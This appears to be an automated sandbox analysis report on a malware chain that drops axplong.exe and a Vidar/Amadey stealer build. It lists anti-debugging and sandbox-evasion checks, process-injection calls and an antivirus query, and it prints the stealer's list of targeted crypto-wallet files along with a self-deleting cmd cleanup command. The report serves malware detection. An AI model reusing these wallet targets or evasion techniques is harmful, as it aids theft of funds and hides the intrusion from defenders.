Source: HJEBGH.10.dr Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: HJEBGH.10.dr Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3363786257.000000001907F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: HJEBGH.10.dr Binary or memory string: outlook.office.comVMware20,11696487552s
Source: HJEBGH.10.dr Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: HJEBGH.10.dr Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: HJEBGH.10.dr Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: IRqsWvBBMc.exe, 00000000.00000002.2144205662.000000000033F000.00000040.00000001.01000000.00000003.sdmp, axplong.exe, 00000002.00000002.2168305762.0000000000AEF000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000003.00000002.2170669031.0000000000AEF000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000007.00000002.3352609024.0000000000AEF000.00000040.00000001.01000000.00000007.sdmp Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: HJEBGH.10.dr Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: HJEBGH.10.dr Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Thread information set: HideFromDebugger Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Code function: 0_2_04DE0C04 rdtsc 0_2_04DE0C04
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_0041D12F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 10_2_0041D12F
Contains functionality to create guard pages, often used to hinder reverse usering and debugging
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_00402000 VirtualProtect 00000000,00000004,00000100,? 10_2_00402000
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_00417A40 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 10_2_00417A40
Contains functionality to read the PEB
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Code function: 7_2_0092645B mov eax, dword ptr fs:[00000030h] 7_2_0092645B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Code function: 7_2_0092A1C2 mov eax, dword ptr fs:[00000030h] 7_2_0092A1C2
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_004176E0 mov eax, dword ptr fs:[00000030h] 10_2_004176E0
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_00402000 lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,GetProcessHeap,RtlAllocateHeap,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenA,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,VirtualProtect,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW, 10_2_00402000
Enables debug privileges
Source: C:\ProgramData\CFHIIJDBKE.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Code function: 9_2_00007FF6831111AD _initterm,SetUnhandledExceptionFilter, 9_2_00007FF6831111AD
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_0041ECC8 SetUnhandledExceptionFilter, 10_2_0041ECC8
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_0041D12F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 10_2_0041D12F
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_0041CAF5 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 10_2_0041CAF5
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C29B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 10_2_6C29B66C
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C29B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 10_2_6C29B1F7
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C44AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 10_2_6C44AC62
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Memory protected: page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: build_2024-07-25_20-56.exe PID: 2260, type: MEMORYSTR
Contains functionality to inject code into remote processes
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_0040ED80 memset,CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,VirtualAllocEx,ResumeThread,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread, 10_2_0040ED80
Searches for specific processes (likely to inject)
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_00411400 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,FindCloseChangeNotification, 10_2_00411400
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_004112F0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle, 10_2_004112F0
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000019001\server.exe "C:\Users\user\AppData\Local\Temp\1000019001\server.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe "C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Process created: C:\ProgramData\CFHIIJDBKE.exe "C:\ProgramData\CFHIIJDBKE.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\KFCFBFHIEBKJ" & exit Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: axplong.exe, axplong.exe, 00000007.00000002.3352609024.0000000000AEF000.00000040.00000001.01000000.00000007.sdmp Binary or memory string: tProgram Manager
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Code function: 7_2_0090D312 cpuid 7_2_0090D312
Contains functionality to query locales information (e.g. system language)
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree, 10_2_0040FC30
Queries information about the installed CPU (vendor, model number etc)
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Queries the installation date of Windows
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000019001\server.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000019001\server.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Code function: 7_2_0090CB1A GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime, 7_2_0090CB1A
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Code function: 7_2_008F65B0 LookupAccountNameA, 7_2_008F65B0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_0040FBC0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA, 10_2_0040FBC0
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
AV process strings found (often used to terminate AV products)
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3363786257.0000000019010000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information
barindex
Yara detected Amadeys stealer DLL
Source: Yara match File source: 3.2.axplong.exe.8f0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.axplong.exe.8f0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.IRqsWvBBMc.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.axplong.exe.8f0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000007.00000002.3352145321.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.2168239897.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2144127481.0000000000141000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.2129982774.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2103618425.0000000004BC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.2127712847.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000003.2708396378.0000000004920000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2170594328.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Yara detected Vidar
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Vidar stealer
Source: Yara match File source: 10.2.build_2024-07-25_20-56.exe.3fa0e67.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.build_2024-07-25_20-56.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.3.build_2024-07-25_20-56.exe.3fd0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.build_2024-07-25_20-56.exe.3fa0e67.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.build_2024-07-25_20-56.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000A.00000002.3355872691.0000000003FA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000003.2796849673.0000000003FD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.3351695759.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: build_2024-07-25_20-56.exe PID: 2260, type: MEMORYSTR
Found many strings related to Crypto-Wallets (likely being stolen)
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: tWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: tWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: tWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: tWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: tWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
